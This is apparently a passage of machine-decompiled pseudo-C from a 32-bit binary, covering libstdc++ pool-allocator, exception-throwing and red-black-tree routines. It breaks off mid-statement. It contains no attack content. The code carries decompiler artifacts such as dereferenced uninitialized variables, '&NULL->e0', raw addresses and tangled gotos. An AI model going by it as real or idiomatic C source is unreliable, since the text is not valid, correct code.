0x80944f1 int32_t __gnu_cxx____pool_lt_true_gt____M_reserve_block(struct struct_88 * a1, int32_t a2, int32_t a3) { int32_t v1 = g102; // 0x8094327 int32_t v2 = g101; // 0x8094328 int32_t v3 = (int32_t)a1; // 0x809432d uint32_t v4 = (int32_t)a1->e5[a2][0].e1; // 0x8094336 int32_t v5 = (int32_t)a1->e2; // 0x809433d_0 uint32_t v6 = v4 % 32; // 0x8094340 int32_t v7 = v5; // 0x8094342 if (v6 != 0) { // if_8094340_0_true v7 = v5 << v6; // branch -> after_if_8094340_0 } int32_t v8 = a1->e0 + v7; // 0x8094342 g101 = v8; struct struct_88 * v9 = (struct struct_88 *)((*(int32_t *)(v3 + 12) - 8) / v8); // 0x809434e_0 int32_t v10 = *(int32_t *)(v3 + 36) + 20 * v4; // 0x809435a g102 = v10; struct struct_3 * v11 = (struct struct_3 *)*(int32_t *)(v10 + 16); // 0x8094371_0 __pthread_mutex_lock_internal(v11, (int32_t *)NULL, &NULL->e0, &v9->e0); int32_t * v12 = (int32_t *)g102; // 0x8094379_0 int32_t v13; // 0x80944a6 int32_t v14; int32_t v15; int32_t v16; // 0x80944c21 if (*(int32_t *)*v12 == 0) { int32_t v17 = (int32_t)a1; // 0x8094480 g96 = v17; int32_t v18 = *(int32_t *)(v17 + 12); // 0x8094483 g95 = v18; int32_t v19 = _Znwj(v18, v17, a2); // 0x8094489 v15 = v19; *(int32_t *)v19 = v19; ((struct struct_10 *)v19)->e1 = (int32_t *)*(int32_t *)(g102 + 4); *(int32_t *)(g102 + 4) = v15; __pthread_mutex_unlock_internal((struct struct_45 *)*(int32_t *)(g102 + 16)); v13 = v15 + 8; int32_t v20 = 4 * a3; // 0x80944b3 v15 = v20; int32_t v21 = (int32_t)v9; // 0x80944bc v14 = v21; *(int32_t *)(*(int32_t *)(g102 + 8) + v20) = v21; *(int32_t *)(*(int32_t *)g102 + v15) = v13; int32_t v22 = v14 - 1; // 0x80944ca int32_t v23; // 0x80944e6 if (v14 == 1) { // 0x8094480 v23 = v13; // branch -> 0x80944e6 } else { int32_t v24 = (int32_t)(struct struct_10 *)v13 + g101; // 0x80944d4 *(int32_t *)v13 = v24; int32_t v25 = *(int32_t *)v13; // 0x80944dc int32_t v26 = 1; // 0x80944de // branch -> 0x80944d4 while (v22 != v26) { // 0x80944d4 v24 = (int32_t)(struct struct_10 *)v24 + g101; *(int32_t *)v25 = v24; v25 = *(int32_t *)v25; v26++; // continue -> 0x80944d4 } // 0x80944e6 v23 = v25; // branch -> 0x80944e6 } // 0x80944e6 *(int32_t *)v23 = 0; v16 = v15; // branch -> 0x8094405 } else { int32_t v27 = 4 * a3; // 0x809438a v15 = v27; *(int32_t *)(*v12 + v27) = *(int32_t *)*v12; int32_t * v28 = (int32_t *)(g102 + 8); // 0x8094399_0 int32_t v29 = (int32_t)v9; // 0x809439c int32_t v30 = *v28; // 0x809444d if (v29 < *(int32_t *)*v28) { // 0x809444d v13 = v29; *(int32_t *)(v15 + v30) = v29; int32_t * v31 = (int32_t *)*(int32_t *)(g102 + 8); // 0x8094459_0 *v31 = *v31 - v13; int32_t * v32 = (int32_t *)g102; // 0x809445b_0 int32_t v33 = *(int32_t *)*v32; // 0x809445d v14 = v33; if (v13 != 1) { int32_t v34 = 0; // 0x8094468 int32_t v35 = *(int32_t *)v33; // 0x8094466 v14 = v35; // branch -> 0x8094466 while (v13 - 1 != v34 + 1) { // 0x8094466 v34++; v35 = *(int32_t *)v35; v14 = v35; // continue -> 0x8094466 } // 0x809446f v33 = v35; // branch -> 0x809446f } // 0x809446f *(int32_t *)*v32 = *(int32_t *)v33; *(int32_t *)v14 = 0; // branch -> 0x80943c3 } else { // 0x80943a7 *(int32_t *)(v15 + v30) = *(int32_t *)*v28; *(int32_t *)*(int32_t *)(g102 + 8) = 0; *(int32_t *)*(int32_t *)g102 = 0; // branch -> 0x80943c3 } // 0x80943c3 __pthread_mutex_unlock_internal((struct struct_45 *)*(int32_t *)(g102 + 16)); v16 = v27; // branch -> 0x8094405 } int32_t * v36 = (int32_t *)g102; // 0x8094405_0 int32_t v37 = *(int32_t *)(*v36 + v16); // 0x809440a v14 = v37; *(int32_t *)(*v36 + v16) = *(int32_t *)v37; *(int32_t *)v14 = a3; int32_t * v38 = (int32_t *)(v15 + *(int32_t *)(g102 + 8)); // 0x8094422_0 *v38 = *v38 - 1; int32_t * v39 = (int32_t *)(v15 + *(int32_t *)(g102 + 12)); // 0x8094429_0 *v39 = *v39 + 1; g97 = (int32_t)a1; int32_t result = a1->e0 + v14; // 0x8094430 g96 = result; g101 = v2; g102 = v1; return result; } // Address range: 0x80944f2 - 0x8094559 int32_t __gnu_cxx____pool_lt_true_gt____M_get_thread_id(int32_t * a1) { int32_t v1 = g101; // 0x80944f5 int32_t v2 = g98; // 0x80944f6 g101 = (int32_t)a1; pthread_getspecific(g63); int32_t v3 = g63; // 0x809451c int32_t * v4 = (int32_t *)g100; if (g63 == 0) { // 0x8094526 __pthread_mutex_lock_internal((struct struct_3 *)&g64, a1, NULL, NULL); int32_t * v5 = (int32_t *)(g101 + 48); // 0x8094532_0 int32_t v6 = *v5; // 0x8094532 g98 = v6; *v5 = *(int32_t *)v6; __pthread_mutex_unlock_internal((struct struct_45 *)&g64); pthread_setspecific((struct struct_45 *)g63, (int32_t *)g98); v3 = g98; v4 = (int32_t *)0x8094557; // branch -> 0x809451c } // 0x809451c g98 = v2; g101 = v1; g100 = (int32_t)v4; return *(int32_t *)(v3 + 4); } // Address range: 0x809455a - 0x8094683 int32_t __gnu_cxx____pool_lt_true_gt____M_reclaim_block(struct struct_91 * a1, int32_t ** a2, struct struct_88 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) { struct struct_88 v1; // 0x809455a_0 // 0x809455a v1 = (struct struct_88){ .e0 = 0, .e1 = 0, .e2 = NULL, .e4 = 0 }; v1.e0 = (int32_t)a3; int32_t v2 = g102; // 0x809455d int32_t v3 = g101; // 0x809455e int32_t v4 = (int32_t)a1; // 0x8094563 g101 = v4; int32_t v5 = (int32_t)a1->e5[0][0].e1[0]; // 0x809456c g98 = v5; g102 = 20 * v5 + *(int32_t *)(v4 + 36); int32_t v6 = (int32_t)a2 - a1->e0; // 0x809457b int32_t ** v7 = (int32_t **)v6; // 0x809457b_3 int32_t v8 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id(&a1->e0); // 0x809458f uint32_t v9 = a1->e4; // 0x8094594 int32_t * v10 = (int32_t *)(100 * v9 * (*(int32_t *)(g101 + 40) - g98)); // 0x80945ae_0 g96 = 2 * v8; int32_t v11 = 4 * v8; // 0x80945b4 g98 = v11; int32_t * v12 = (int32_t *)(g102 + 8); // 0x80945b7_0 uint32_t v13 = *(int32_t *)(*v12 + v11) * v9; // 0x80945bd int32_t * v14 = (int32_t *)(g102 + 12); // 0x80945c1_0 int32_t * v15; // 0x80945d1_0 int32_t v16; // 0x80945df int32_t v17; // 0x80945ce int32_t result; // 0x80945e4 int32_t v18; // 0x80945e7 if (v13 < *(int32_t *)(*v14 + v11)) { // 0x80945c9 v17 = *(int32_t *)(g102 + 12); v15 = (int32_t *)(v17 + 4 * *(int32_t *)v6); *v15 = *v15 - 1; g97 = v6; *v7 = (int32_t *)*(int32_t *)(g98 + *(int32_t *)g102); v16 = *(int32_t *)g102; g95 = v16; *(int32_t *)(g98 + v16) = g97; result = *(int32_t *)(g102 + 8); v18 = ((int32_t *)result)[v8]; ((int32_t *)result)[v8] = v18 + 1; g101 = v3; g102 = v2; return result; } uint32_t v19 = v13 - *(int32_t *)(*v14 + v11); // 0x80945f8 if (*v10 < v19) { // 0x8094600 if (*(int32_t *)(*v12 + v11) < v19) { int32_t * v20 = (int32_t *)g102; // 0x8094608_0 int32_t v21 = *(int32_t *)(*v20 + v11); // 0x809460a uint32_t v22 = v19 / v9; int32_t v23 = v21; int32_t v24 = v21; // 0x8094631 if (v22 != 1) { int32_t v25 = 0; // 0x8094628 int32_t v26 = *(int32_t *)v21; // 0x8094626 v23 = v26; // branch -> 0x8094626 while (v22 - 1 != v25 + 1) { // 0x8094626 v25++; v26 = *(int32_t *)v26; v23 = v26; // continue -> 0x8094626 } // 0x809462f v24 = v26; // branch -> 0x809462f } // 0x809462f *(int32_t *)(*v20 + v11) = *(int32_t *)v24; int32_t * v27 = (int32_t *)(g98 + *(int32_t *)(g102 + 8)); // 0x809463c_0 *v27 = *v27 - v22; struct struct_3 * v28 = (struct struct_3 *)*(int32_t *)(g102 + 16); // 0x8094642_0 __pthread_mutex_lock_internal(v28, &a1->e0, (int32_t *)v6, &v1.e0); *(int32_t *)v23 = *(int32_t *)*(int32_t *)g102; *(int32_t *)*(int32_t *)g102 = v21; int32_t * v29 = (int32_t *)*(int32_t *)(g102 + 8); // 0x809465d_0 *v29 = *v29 + v22; __pthread_mutex_unlock_internal((struct struct_45 *)*(int32_t *)(g102 + 16)); // branch -> 0x80945c9 } } // 0x80945c9 v17 = *(int32_t *)(g102 + 12); v15 = (int32_t *)(v17 + 4 * *(int32_t *)v6); *v15 = *v15 - 1; g97 = v6; *v7 = (int32_t *)*(int32_t *)(g98 + *(int32_t *)g102); v16 = *(int32_t *)g102; g95 = v16; *(int32_t *)(g98 + v16) = g97; result = *(int32_t *)(g102 + 8); v18 = ((int32_t *)result)[v8]; ((int32_t *)result)[v8] = v18 + 1; g101 = v3; g102 = v2; return result; } // Address range: 0x8095480 - 0x809548d void std__length_error(void) { // 0x8095480 int32_t v1; *(int32_t *)v1 = 0x8107810; abort(); // UNREACHABLE } // Address range: 0x8095590 - 0x80955bb int32_t std____throw_bad_alloc(void) { int32_t v1 = __cxa_allocate_exception((int32_t *)4, 0); // 0x809559d *(int32_t *)v1 = 0x8131e18; __cxa_throw(v1, 40, (int32_t)std__bad_alloc_702, 0, 0); return g95; } // Address range: 0x8095820 - 0x8095b3f int32_t std____throw_logic_error(char * a1, int32_t a2, int32_t a3, int32_t a4) { // 0x8095820 int32_t v1; // 0x809584e int32_t v2; // 0x8095868 int32_t v3; // 0x809585a int32_t v4; char * v5; if (g27 == 0) { lab_0xe1353f0:; // 0x80958a4 char * v6; if (__cxa_guard_acquire((char *)0x8132c08, (int32_t)v6, (int32_t)std__logic_error_578, 0, 0, 0, 0, 0, 0) != 0) { // 0x80958b8 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x8095832 } // 0x8095832 g95 = (int32_t)a1; v1 = (int32_t)gettext(a1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0); v3 = __cxa_allocate_exception((int32_t *)8, v1); g101 = v3; v2 = (int32_t)v5; std__logic_error_568((int32_t *)v3, v2); if (g27 == 0) { lab_0x63ccf00: // 0x8095953 if (__cxa_guard_acquire((char *)0x8132c08, v2, v4, 0, 0, 0, 0, 0, 0) != 0) { // 0x8095967 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x809587a } } lab_0xe1354f0:; int32_t v7 = v2 - 12; // 0x809587d g98 = v7; if (v7 != 0x8134edc) { // 0x8095a02 if (__gnu_cxx____exchange_and_add((int32_t *)(v2 - 4), -1) <= 0) { // 0x8095a1d std__string___Rep___M_destroy((int32_t *)g98); // branch -> 0x809588c } } // 0x809588c __cxa_throw(g101, (int32_t)"\x28\x1F\x13\x08\xD0\x78\x10\x08\x74\x1D\x13\x08\x53\x74\x31\x31\x6C\x6F\x67\x69\x63\x5F\x65\x72\x72\x6F\x72", (int32_t)std__logic_error_578, 0, 0); v6 = "\x28\x1F\x13\x08\xD0\x78\x10\x08\x74\x1D\x13\x08\x53\x74\x31\x31\x6C\x6F\x67\x69\x63\x5F\x65\x72\x72\x6F\x72"; // branch -> 0x80958a4 goto lab_0xe1353f0; } // 0x8095832 g95 = (int32_t)a1; v1 = (int32_t)gettext(a1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0); v3 = __cxa_allocate_exception((int32_t *)8, v1); g101 = v3; v2 = (int32_t)v5; std__logic_error_568((int32_t *)v3, v2); if (g27 == 0) { goto lab_0x63ccf00; } goto lab_0xe1354f0; } // Address range: 0x8096180 - 0x809649f int32_t std____throw_length_error(char * a1, int32_t a2, int32_t a3, int32_t a4) { // 0x8096180 int32_t v1; // 0x80961ae int32_t v2; // 0x80961c8 int32_t v3; // 0x80961ba int32_t v4; char * v5; if (g27 == 0) { lab_0x1d8620f0:; // 0x8096204 void (*v6)(); char * v7; if (__cxa_guard_acquire((char *)0x8132c08, (int32_t)v7, (int32_t)v6, 0, 0, 0, 0, 0, 0) != 0) { // 0x8096218 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x8096192 } // 0x8096192 g95 = (int32_t)a1; v1 = (int32_t)gettext(a1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0); v3 = __cxa_allocate_exception((int32_t *)8, v1); g101 = v3; v2 = (int32_t)v5; std__length_error_572((int32_t *)v3, v2); if (g27 == 0) { lab_0x63e1010: // 0x80962b3 if (__cxa_guard_acquire((char *)0x8132c08, v2, v4, 0, 0, 0, 0, 0, 0) != 0) { // 0x80962c7 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x80961da } } lab_0x1d8622b0:; int32_t v8 = v2 - 12; // 0x80961dd g98 = v8; if (v8 != 0x8134edc) { // 0x8096362 if (__gnu_cxx____exchange_and_add((int32_t *)(v2 - 4), -1) <= 0) { // 0x809637d std__string___Rep___M_destroy((int32_t *)g98); // branch -> 0x80961ec } } // 0x80961ec __cxa_throw(g101, (int32_t)"\x28\x1F\x13\x08\xF0\x77\x10\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6C\x65\x6E\x67\x74\x68\x5F\x65\x72\x72\x6F\x72", (int32_t)std__length_error, 0, 0); v6 = std__length_error; v7 = "\x28\x1F\x13\x08\xF0\x77\x10\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6C\x65\x6E\x67\x74\x68\x5F\x65\x72\x72\x6F\x72"; // branch -> 0x8096204 goto lab_0x1d8620f0; } // 0x8096192 g95 = (int32_t)a1; v1 = (int32_t)gettext(a1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0); v3 = __cxa_allocate_exception((int32_t *)8, v1); g101 = v3; v2 = (int32_t)v5; std__length_error_572((int32_t *)v3, v2); if (g27 == 0) { goto lab_0x63e1010; } goto lab_0x1d8622b0; } // Address range: 0x80964a0 - 0x80967bf int32_t std____throw_out_of_range(char * a1, int32_t a2) { // 0x80964a0 int32_t v1; // 0x80964ce int32_t v2; // 0x80964e8 int32_t v3; // 0x80964da int32_t v4; char * v5; if (g27 == 0) { lab_0x173f86b0:; // 0x8096524 void (*v6)(); char * v7; if (__cxa_guard_acquire((char *)0x8132c08, (int32_t)v7, (int32_t)v6, 0, 0, 0, 0, 0, 0) != 0) { // 0x8096538 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x80964b2 } // 0x80964b2 g95 = (int32_t)a1; v1 = (int32_t)gettext(a1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0); v3 = __cxa_allocate_exception((int32_t *)8, v1); g101 = v3; v2 = (int32_t)v5; std__out_of_range_570((int32_t *)v3, v2); if (g27 == 0) { lab_0x63f4d00: // 0x80965d3 if (__cxa_guard_acquire((char *)0x8132c08, v2, v4, 0, 0, 0, 0, 0, 0) != 0) { // 0x80965e7 g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x80964fa } } lab_0x173f8870:; int32_t v8 = v2 - 12; // 0x80964fd g98 = v8; if (v8 != 0x8134edc) { // 0x8096682 if (__gnu_cxx____exchange_and_add((int32_t *)(v2 - 4), -1) <= 0) { // 0x809669d std__string___Rep___M_destroy((int32_t *)g98); // branch -> 0x809650c } } // 0x809650c __cxa_throw(g101, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0, 0); v6 = std__out_of_range; v7 = "\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65"; // branch -> 0x8096524 goto lab_0x173f86b0; } // 0x80964b2 g95 = (int32_t)a1; v1 = (int32_t)gettext(a1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0); v3 = __cxa_allocate_exception((int32_t *)8, v1); g101 = v3; v2 = (int32_t)v5; std__out_of_range_570((int32_t *)v3, v2); if (g27 == 0) { goto lab_0x63f4d00; } goto lab_0x173f8870; } // Address range: 0x8097aea - 0x8097b13 int32_t std__logic_error(int32_t * a1, int32_t a2) { int32_t v1 = g101; // 0x8097aed g101 = (int32_t)a1; *a1 = 0x8107908; int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)(g101 + 4), &a2); // 0x8097b08 g101 = v1; return result; } // Address range: 0x8097b26 - 0x8097b4f int32_t std__logic_error_568(int32_t * a1, int32_t a2) { int32_t v1 = g101; // 0x8097b29 g101 = (int32_t)a1; *a1 = 0x8107908; int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)(g101 + 4), &a2); // 0x8097b44 g101 = v1; return result; } // Address range: 0x8097c9c - 0x8097cc1 int32_t std__out_of_range_570(int32_t * a1, int32_t a2) { int32_t v1 = g98; // 0x8097c9f g98 = (int32_t)a1; int32_t result = std__logic_error(a1, a2); // 0x8097cb0 *(int32_t *)g98 = 0x80ff838; g98 = v1; return result; } // Address range: 0x8097ce8 - 0x8097d0d int32_t std__length_error_572(int32_t * a1, int32_t a2) { int32_t v1 = g98; // 0x8097ceb g98 = (int32_t)a1; int32_t result = std__logic_error(a1, a2); // 0x8097cfc *(int32_t *)g98 = 0x8107810; g98 = v1; return result; } // Address range: 0x8097dcc - 0x8097f01 void std__logic_error_578(void) { int32_t v1; g101 = v1; *(int32_t *)v1 = 0x8107908; g98 = g101 + 4; int32_t v2; int32_t v3; // 0x8097dea int32_t v4; // 0x8097dec if (g27 != 0) { // 0x8097dea v3 = *(int32_t *)g98; v4 = v3 - 12; g98 = v4; if (v4 == 0x8134edc) { // 0x8097dfb abort(); // UNREACHABLE } // 0x8097eb6 v2 = v3 - 4; if (__gnu_cxx____exchange_and_add(&v2, -1) <= 0) { // 0x8097ed1 v2 = g98; std__string___Rep___M_destroy(&v2); // branch -> 0x8097dfb } // 0x8097dfb abort(); // UNREACHABLE } // 0x8097e0b v2 = 0x8132c08; if (__cxa_guard_acquire((char *)&v2, v1, 0, 0, 0, 0, 0, 0, 0) != 0) { // 0x8097e1b g28 = 8; g29 = 128; g30 = 8; g31 = 4080; g32 = 0x1000; g33 = 10; v2 = (int32_t)"GLIBCXX_FORCE_NEW"; g34 = getenv("GLIBCXX_FORCE_NEW") != NULL; g35 = 0; g36 = 0; g37 = 0; g38 = 1; g40 = 0; g39 = 0; v2 = 0x8132c08; __cxa_guard_release((struct struct_59 *)&g27); // branch -> 0x8097dea } // 0x8097dea v3 = *(int32_t *)g98; v4 = v3 - 12; g98 = v4; if (v4 == 0x8134edc) { // 0x8097dfb abort(); // UNREACHABLE } // 0x8097eb6 v2 = v3 - 4; if (__gnu_cxx____exchange_and_add(&v2, -1) <= 0) { // 0x8097ed1 v2 = g98; std__string___Rep___M_destroy(&v2); // branch -> 0x8097dfb } // 0x8097dfb abort(); // UNREACHABLE } // Address range: 0x8098420 - 0x809845f int32_t std___Rb_tree_increment(int32_t a1) { int32_t v1 = g100; // 0x8098420 g95 = a1; int32_t v2 = *(int32_t *)(a1 + 12); // 0x8098426 g96 = v2; if (v2 != 0) { int32_t v3 = *(int32_t *)(v2 + 8); // 0x80984334 g95 = v3; int32_t result; // 0x809843a if (v3 != 0) { int32_t v4 = *(int32_t *)(v3 + 8); // 0x8098433 g95 = v4; while (v4 != 0) { // 0x8098431 v3 = v4; v4 = *(int32_t *)(v3 + 8); g95 = v4; // continue -> 0x8098431 } // 0x8098433 result = v3; // branch -> 0x809843a } else { result = v2; } // 0x809843a g100 = v1; return result; } int32_t v5 = *(int32_t *)(a1 + 4); // 0x809843e int32_t result2 = a1; // 0x809844a int32_t result3 = v5; // 0x8098446 int32_t v6 = 0; // 0x8098446 if (*(int32_t *)(v5 + 12) == a1) { g95 = v5; int32_t v7 = *(int32_t *)(v5 + 4); // 0x8098452 while (*(int32_t *)(v7 + 12) == v5) { // 0x8098450 v5 = v7; g95 = v5; v7 = *(int32_t *)(v5 + 4); // continue -> 0x8098450 } int32_t v8 = *(int32_t *)(v5 + 12); // 0x809845a g96 = v8; result2 = v5; result3 = v7; v6 = v8; // branch -> 0x8098446 } // 0x8098446 if (v6 == result3) { // 0x809844a int32_t v9; g100 = v9; return result2; } // 0x809843a g100 = v1; return result3; } // Address range: 0x8098460 - 0x809846f int32_t std___Rb_tree_increment_590(void) { // 0x8098460 std___Rb_tree_increment(0); return g95; } // Address range: 0x8098470 - 0x80984b5 int32_t std___Rb_tree_decrement(struct struct_94 * a1, int32_t a2, int32_t a3) { // 0x8098470 int32_t * v1; // 0x809847f if (a1->e0 == 0) { // 0x809847c v1 = a1->e2; if ((struct struct_94 *)v1 == a1) { // 0x8098498 return (int32_t)a1->e3; } } else { // 0x8098470 v1 = a1->e2; // branch -> 0x8098484 } // 0x8098484 if (v1 != NULL) { int32_t result = (int32_t)v1; // 0x809848f2 int32_t result2 = *(int32_t *)(result + 12); // 0x809848f5 if (result2 == 0) { // 0x8098496 return result; } int32_t v2 = *(int32_t *)(result2 + 12); // 0x809848f while (v2 != 0) { // 0x809848d result2 = v2; v2 = *(int32_t *)(result2 + 12); // continue -> 0x809848d } // 0x809848f // branch -> 0x8098496 // 0x8098496 return result2; } int32_t result3 = a1->e1; // 0x809849d g96 = result3; if ((struct struct_94 *)a1->e3 != a1) { // 0x80984a7 return result3; } int32_t result4 = *(int32_t *)(result3 + 4); // 0x80984ab16 if (result3 != *(int32_t *)(result4 + 8)) { // 0x80984b3 return result4; } int32_t v3 = result4; // 0x80984ab21 g96 = v3; int32_t result5 = *(int32_t *)(v3 + 4); // 0x80984ab while (v3 == *(int32_t *)(result5 + 8)) { // 0x80984a9 v3 = result5; g96 = v3; result5 = *(int32_t *)(v3 + 4); // continue -> 0x80984a9 } // 0x80984b3 return result5; } // Address range: 0x80984c0 - 0x809850f int32_t std___Rb_tree_rotate_left(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4) { int32_t v1 = g100; // 0x80984c0 int32_t v2 = g98; // 0x80984c3 int32_t v3 = (int32_t)a1; // 0x80984c4 g96 = v3; int32_t v4 = (int32_t)a2; // 0x80984c7 int32_t * v5 = (int32_t *)(v3 + 12); // 0x80984ca_0 int32_t v6 = *v5; // 0x80984ca int32_t v7 = *(int32_t *)(v6 + 8); // 0x80984cd *v5 = v7; if (v7 != 0) { // 0x80984d7 *(int32_t *)(v7 + 4) = g96; // branch -> 0x80984da } int32_t result = *(int32_t *)(g96 + 4); // 0x80984da *(int32_t *)(v6 + 4) = result; int32_t * v8 = (int32_t *)v4; // 0x80984e0_0 if (g96 == *v8) { // 0x80984f8 *v8 = v6; *(int32_t *)(v6 + 8) = g96; *(int32_t *)(g96 + 4) = v6; int32_t v9; g98 = v9; g100 = v3; return result; } int32_t result2 = *(int32_t *)(g96 + 4); // 0x80984e4 int32_t * v10 = (int32_t *)(result2 + 8); // 0x80984e7_0 if (g96 == *v10) { // 0x8098503 *v10 = v6; *(int32_t *)(v6 + 8) = g96; *(int32_t *)(g96 + 4) = v6; g98 = v4; g100 = (int32_t)a3; return result2; } // 0x80984ec *(int32_t *)(result2 + 12) = v6; *(int32_t *)(v6 + 8) = g96; *(int32_t *)(g96 + 4) = v6; g98 = v2; g100 = v1; return result2; } // Address range: 0x8098510 - 0x809855f int32_t std___Rb_tree_rotate_right(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4) { int32_t v1 = g100; // 0x8098510 int32_t v2 = g98; // 0x8098513 int32_t v3 = (int32_t)a1; // 0x8098514 g96 = v3; int32_t v4 = (int32_t)a2; // 0x8098517 int32_t * v5 = (int32_t *)(v3 + 8); // 0x809851a_0 int32_t v6 = *v5; // 0x809851a int32_t v7 = *(int32_t *)(v6 + 12); // 0x809851d *v5 = v7; if (v7 != 0) { // 0x8098527 *(int32_t *)(v7 + 4) = g96; // branch -> 0x809852a } int32_t result = *(int32_t *)(g96 + 4); // 0x809852a *(int32_t *)(v6 + 4) = result; int32_t * v8 = (int32_t *)v4; // 0x8098530_0 if (g96 == *v8) { // 0x8098548 *v8 = v6; *(int32_t *)(v6 + 12) = g96; *(int32_t *)(g96 + 4) = v6; int32_t v9; g98 = v9; g100 = v3; return result; } int32_t result2 = *(int32_t *)(g96 + 4); // 0x8098534 int32_t * v10 = (int32_t *)(result2 + 12); // 0x8098537_0 if (g96 == *v10) { // 0x8098553 *v10 = v6; *(int32_t *)(v6 + 12) = g96; *(int32_t *)(g96 + 4) = v6; g98 = v4; g100 = (int32_t)a3; return result2; } // 0x809853c *(int32_t *)(result2 + 8) = v6; *(int32_t *)(v6 + 12) = g96; *(int32_t *)(g96 + 4) = v6; g98 = v2; g100 = v1; return result2; } // Address range: 0x8098560 - 0x80986af int32_t std___Rb_tree_insert_and_rebalance(int32_t ** a1, struct struct_96 * a2, int32_t * a3, struct struct_94 * a4) { int32_t * v1 = (int32_t *)g100; // 0x8098560_0 int32_t v2 = (int32_t)a2; int32_t v3 = (int32_t)a4; // 0x809856f int32_t v4 = v3 + 4; // 0x809856f struct struct_94 * v5 = (struct struct_94 *)v4; // bp-20 int32_t v6 = (int32_t)a3; a2->e1 = a3; a2->e2 = 0; a2->e3 = 0; *(int32_t *)v2 = 0; int32_t * v7; struct struct_94 * v8; int32_t v9; int32_t * v10; int32_t v11; // 0x80985ac int32_t v12; // 0x80985ac14 int32_t v13; // 0x80985e531 int32_t v14; // 0x80985fe int32_t v15; // 0x8098603 if (0x1000000 * (int32_t)a1 == 0) { // 0x80985f3 *(int32_t *)(v6 + 12) = v2; if (v6 == (int32_t)a4->e3) { // 0x80985fb a4->e3 = (int32_t *)v2; v14 = a4->e1; // branch -> 0x80985ac } else { // 0x80985a9 v14 = a4->e1; // branch -> 0x80985ac } // 0x80985ac v12 = v2; if (v12 == v14) { // 0x80985e5 *(int32_t *)v14 = 1; g100 = (int32_t)v1; return (int32_t)a4; } v10 = v1; while (true) { // 0x80985b0 v15 = v12; v13 = v14; v8 = a4; // branch -> 0x80985b0 lab_0x14069e80:; struct struct_94 * v16; // 0x809862a_1 int32_t v17; // 0x80985df while (true) { int32_t v18 = *(int32_t *)(v15 + 4); // 0x80985b0 g98 = v18; int32_t * v19 = (int32_t *)v18; // 0x80985b3_0 int32_t v20 = *v19; // 0x80985b3 g96 = v20; int32_t v21 = v13; // 0x80985e530 struct struct_94 * v22 = v8; if (v20 == 0) { int32_t v23 = *(int32_t *)(v18 + 4); // 0x80985b9 int32_t v24 = v23; int32_t v25 = *(int32_t *)(v23 + 8); // 0x80985bc struct struct_94 * v26 = (struct struct_94 *)v25; // 0x80985bc_1 int32_t v27; // 0x80985e1 if (v18 == v25) { int32_t v28 = *(int32_t *)(v23 + 12); // 0x809862a v16 = (struct struct_94 *)v28; if (v28 != 0) { int32_t v29 = v16->e0; // 0x8098631 g96 = v29; if (v29 == 0) { lab_0x645bdd0: // 0x80985cd *v19 = 1; v16->e0 = 1; *(int32_t *)v24 = 0; v17 = v24; v2 = v17; v27 = v14; if (v17 == v27) { // break -> 0x80985e5 break; } v15 = v17; v13 = v27; v8 = v16; // continue -> 0x80985b0 continue; } } int32_t v30 = v18; // 0x809863c if (v15 